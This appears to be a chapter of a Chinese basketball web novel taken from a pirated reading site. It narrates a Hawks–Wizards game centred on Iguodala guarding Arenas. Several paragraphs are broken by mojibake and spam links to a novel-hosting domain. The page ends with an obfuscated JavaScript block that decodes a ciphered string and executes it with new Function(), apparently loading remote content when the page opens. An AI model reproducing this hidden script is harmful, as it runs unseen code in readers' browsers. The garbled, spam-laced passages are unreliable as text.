在听到伊格达拉的提醒之后，老鹰队篮下争抢篮板的队友已经明白阿里纳斯的投出的球被他蹭到了。艾尔·杰弗森狠命挡住海伍德，迪奥已经有了预判，篮球受到阻力必然会投短，法国人抢先移动，一把抓下篮球后甚至连看都没看就甩向前场。
鹰队的快攻绝对是联盟里面最坚决的，抓篮板一传的球员对自家队友的运动天赋都超有信心，几乎就在迪奥跳起保护篮板的时候，伊格达拉就已经下快攻了，等到法国人传球过来，伊格达拉已经一只脚跨进了罚球线。
不过阿里纳斯反应也不慢，趁着伊格达拉接到传球稍一减速的机会已经赶了上来，死死贴住内线限制他上篮。
阿里纳斯的防守很到位，但伊格达拉并没有减速的意思，带着大将军一路就冲出了底线，但在冲向底线之前手里的篮球向后面简简单单的一顺，同样连看都没有看……
等到奇才队员反应过来的时候，篮筐上已经传来重物碰撞的声音，老鹰队的快攻至少有两个箭头，跟在伊格达拉身后的正是约什·史密斯。
大将军面沉似水，再次要过球权，运球过半场，第二个回合直面伊格达拉。
对于阿里纳斯这样球员来说，防投比防突更重要，一旦他手感投开，那就是各种不讲理的进球，真的是会投死人的。所以伊格达拉并没有放宽与大将军之间的距离，而且重心保持在一个高位。
奇才0号开始惯常的交叉运球，似乎想要寻求突破，而伊格达拉能够做的只有一件事，稳住自己的重心。阿里纳斯的启动第一步并不算快，但幅度很小且隐蔽，这让伊格达拉面对他的时候感觉到了一种溺水的窒息感。
运球的节奏忽然加快，阿里纳斯从右侧切入，安德烈同学急速滑步来卡住线路，大将军似是想要强行抹进去，两个人的身体对抗让场边的围观者都能仿佛看到四溅的火花，可阿里纳斯强突了两步之后倏然把步子拉了回来，正是大将军招牌式的急停跳投。
慌忙中，伊格达拉没有再向前紧逼，而是在重心还不稳的情况下奋力跳起，而阿里纳斯为了抢在伊格达拉升到最高点之前出手，出手点有些低，而且还有微微的后仰，不过准度就差了些许，球磕框而出，不过奇才队见识过鹰队下快攻的速度后早有准备，拉里·休斯早已退防在约什·史密斯前进的线路上，大将军也有意挡在伊格达拉的前方，贾米森则头也不回的往自家半场去跑……
将球抱在怀里的杰弗森同学只好把它扔给克劳福德稳住速度通过半场。
大将军在进攻端撞了一鼻子灰，决心要在防守端找回来，克劳福德由拉里·休斯1v1看紧，伊格达拉这条游鱼却无法摆脱一心缠住他的阿里纳斯，克劳福德眼看没什么机会，只好把球传给内线要到位置的艾尔·杰弗森，杰弗森接球连续两个转身单打海伍德，被奇才队的硬汉中锋连人带球拍了下来，下手狠辣的结果就是杰弗森罚球只有二中一。
第三次，阿里纳斯直面伊格达拉。
“想要限制一名外线明星，你首先需要搞清楚三点，他的出手习惯，他的出手规律，还有他的状态曲线』话菩±既脑亩?ahref="http://www.iei8.net/"target="_blank">http://www.iei8.net/保馐瞧づ罱彩鏊朗匦牡檬焙蚴紫攘谐隼吹墓鄣悖叭绻讶颂逡部醋鲆惶ɑ鳎且彩且惶ㄓ屑且涔δ艿幕鳎圆宦垡幻蛟钡哪芰τ卸嗲浚芑嵊凶刺鸱那撸枚弥突嵊幸欢ǖ募且淞舸妫彼刺叩敉废蛳碌氖焙颍簿鸵馕蹲潘奶迥堋⒎从Ω鞣矫媸荻即υ诘凸龋闼龅木褪且阉姆逯底刺】赡芩醵蹋凸茸刺】赡艿难映ぁ换爱黄小兰全文阅读?br/>
所以，面对阿里纳斯，伊格达拉选择在开局拼体能消耗来抑制大将军投出手感来，阿里纳斯是整个奇才队的进攻核心，只有他的状态打出来才会带动全队变得恐怖，鹰队与之相比最有优势的一点在于他们外线防守人出奇的多，只要轮番上阵成功拖住阿里纳斯的状态，就有希望解决掉华盛顿奇才。
赛前，不论锡伯杜还是皮蓬都在强调，对于阿里纳斯这样的对手，一旦手感起来就毫不犹豫的用犯规来打断，汤姆大叔会做好人员上的轮换的。
这一次阿里纳斯运球中突然一个斜向击地传球，拉里·休斯无球空切到底线，借着海伍德的挡人杀进鹰队腹地，面对杰弗森的封盖一个高抛入框，终于拿下了奇才队的第一球。
第一节亚特兰大人的防守堪称季后赛级别，这让华盛顿奇才这支依靠外线的球队进攻打得异常艰难，反而是鹰队下快攻无比坚决，到了节间休息的时候，老鹰队还领先7分，不过伊格达拉在阿里纳斯身上搭上了两次犯规。
虽然犯规还是偏多，但场下不论锡伯杜还是蒋奇和比利·奈特都对伊格达拉的表现非常满意，因为他这场比赛盯防的是阿里纳斯，与之相衬的是大将军首节只有三分的成绩单。
更重要的是伊格达拉今天在场上无比专注……虽然老蒋不知道特蕾莎为招揽皮蓬这位特殊的助理教练付出了怎样的一笔薪酬，但毫无疑问这笔投入物有所值，这位手上满是戒指的小前锋让伊格达拉重新把精力放回了球场上。
“安德烈，感觉怎么样？”，第二节开始的时候，锡伯杜把伊格达拉放在场下休息，换上马特·巴恩斯来盯防继续留在场上的阿里纳斯，蒋奇坐在后排探头询问道。
伊格达拉用毛巾抹着满头的汗水，“棒极了，斯科特让我认清了自己最重要的价值，也找到了能够用努力提高自己的方法换爱黄小兰全文阅读”
菜鸟董事点了点头，“从事我们这个行业的人，只要能够找到自己努力的方向，就一定能成功』话菩±既脑亩?ahref="http://www.iei8.net/"target="_blank">http://www.iei8.net/保倭硕伲八灯鹄矗一固桓鲆奥纷恿吠独旱陌旆ǎ阆氩幌胩惶俊?br/>
一哥先是一愣，随即略显迟疑的顿了下自己的下颌，算是认可了。
“你也知道，投篮最重要的是手感柔和，这样就需要增加对球的感觉……”，蒋奇的表情看起来有些古怪，“这个办法就是你每天要保持两个小时有球在手，来找这种柔和的手感』话菩±既脑亩?ahref="http://www.iei8.net/"target="_blank">http://www.iei8.net/?br/>
“当然，有球在手是前提，还有一系列锻炼手腕手指关节灵活度的动作……”，接下来蒋奇从西装的口袋里面掏出一张纸，一一讲解上面列出的六七套训练动作，“我问过汤姆，他觉得这样联系应该对你有好处，如果你愿意的话可以试试』话菩±既脑亩?ahref="http://www.iei8.net/"target="_blank">http://www.iei8.net/?br/>
伊格达拉并没有敷衍的回答他，而是很仔细的回想了一下，然后点了点头，“这套训练方法的确很有针对姓，似乎……”
蒋奇心知肚明这套训练方法据传是出自欧洲篮球体系，“这是我一个朋友曾经无意中提起来的，他叫图雷格·曹……”
;
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();